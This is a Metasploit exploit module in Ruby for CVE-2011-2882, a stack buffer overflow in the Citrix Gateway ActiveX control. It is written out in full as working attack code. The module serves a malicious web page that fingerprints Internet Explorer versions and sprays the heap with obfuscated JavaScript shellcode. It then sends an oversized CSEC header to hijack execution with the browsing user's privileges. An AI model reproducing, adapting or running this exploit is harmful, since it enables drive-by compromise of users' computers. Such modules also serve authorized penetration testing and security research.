Citrix Gateway ActiveX Control Stack Based Buffer Overflow

`##  
# $Id: citrix_gateway_actx.rb 13670 2011-08-31 00:15:46Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Citrix Gateway ActiveX Control Stack Based Buffer Overflow Vulnerability',  
'Description' => %q{  
This module exploits a stack based buffer overflow in the Citrix Gateway   
ActiveX control. Exploitation of this vulnerability requires user interaction.   
The victim must click a button in a dialog to begin a scan. This is typical   
interaction that users should be accustom to.  
  
Exploitation results in code execution with the privileges of the user who  
browsed to the exploit page.  
},  
'License' => MSF_LICENSE,  
'Author' =>   
[  
'Michal Trojnara', #Initial discovery  
'bannedit',  
'sinn3r',  
],  
'Version' => '$Revision: 13670 $',  
'References' =>  
[  
[ 'CVE', '2011-2882'],  
[ 'OSVDB', '74191' ],  
[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=929' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x0a\x0d\x20\x3b\x81\x83\x88\x90",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'IE 6 on Windows XP SP3', { 'Ret' => 0x0c0c0c0c } ],  
[ 'IE 7 on Windows XP SP3', { 'Ret' => 0x0c0c0b0b } ],  
[ 'IE 7 on Windows Vista', { 'Ret' => 0x0c0c0b0b } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jul 14 2011', #Coordinated public disclosure according to iDefense  
'DefaultTarget' => 0))  
end  
  
def exploit  
@ocx = ::File.read(::File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-2882', 'nsepa.ocx'))  
super  
end  
  
def get_target(request)  
t = target  
agent = request.headers['User-Agent']  
  
vprint_status("User-Agent: #{agent}")  
  
if t.name =~ /Automatic/  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/  
#Win XP + IE 6  
t = targets[1]  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/  
#Win XP + IE 7  
t = targets[2]  
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/  
#Win Vista + IE7  
t = targets[2]  
elsif agent == 'nsepa'  
#Citrix Access Gateway requesting /epaq  
t = agent  
else  
#Target not supported  
t = nil  
end  
end  
  
return t, agent  
end  
  
def on_request_uri(cli, request)  
@mytarget, agent = get_target(request) if @mytarget.nil?  
vprint_status("Client requested: #{request.uri}.")  
  
#Target not supported, will not go on  
if @mytarget.nil?  
print_error("Target not supported: #{agent}")  
send_not_found(cli)  
return  
end  
  
if request.uri.match(/nsepa/)  
print_status("Sending nsepa.ocx to #{cli.peerhost}")  
send_response(cli, @ocx, { 'Content-Type' => 'application/binary' })  
return  
end  
  
if request.uri.match(/epaq/)  
padding = rand_text_alpha(300)  
  
csec = "eepa_0_"  
csec << padding[0, 259]  
csec << [@mytarget.ret].pack('V*')  
csec << padding[0, 68]  
  
result = rand_text_alpha(1000)  
send_response(cli, rand_text_alpha(30), { 'CSEC' => csec, 'RESULT' => result } )  
@mytarget = nil  
return  
end  
  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# payload in JS format  
code = Rex::Text.to_unescape(payload.encoded)  
  
#For debugging purposes: nops.substring(0,0x534) lands the payload exactly at 0x0c0c0c0c for IE6  
spray = <<-JS  
var heap_lib = new heapLib.ie(0x20000);  
var code = unescape("#{code}");  
var nops = unescape("%u0c0c%u0c0c");  
  
while (nops.length < 0x1000) nops += nops;  
var offset = nops.substring(0, 0x550);  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
  
while (shellcode.length < 0x20000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x10000-6)/2);  
  
heap_lib.gc();  
  
for (var i = 0; i < 0x6000; i++) {  
heap_lib.alloc(block);  
}  
JS  
  
spray = heaplib(spray)  
spray = ::Rex::Exploitation::JSObfu.new(spray)  
spray.obfuscate  
  
load = %Q|  
var d=document.getElementById("nsepadiv");  
if(d) {  
d.innerHTML=  
'<object id="nsepa" classid="CLSID:181BCAB2-C89B-4E4B-9E6B-59FA67A426B5" '+  
'width=1px height=1px codebase="#{get_resource}/epa/nsepa.ocx#version=8,0,59,1">' +  
'<param name="cookie" value="0123456789abcdef0123456789abcdef">'+  
'<param name="location" value="'+document.location+'">'+  
'<param name="trace" value="DEBUG">'+  
'<param name="vip" value="255.255.255.255">'+  
'</object>';  
} else {  
alert('Internal Error');  
}  
|  
# the ret slide gets executed via call [esi+45b]  
html = <<-EOS  
<html>  
<body>  
<div id="nsepadiv"></div>  
<script language="javascript">  
#{spray}  
#{load}  
</script>  
</body>  
</html>  
EOS  
  
html = html.gsub(/^\t\t/, '')  
  
# we need to handle direct /epaq requests  
proc = Proc.new do |cli, req|  
on_request_uri(cli, req)  
end  
  
add_resource({'Path' => "/epaq", 'Proc' => proc}) rescue nil  
print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
end  
end  
`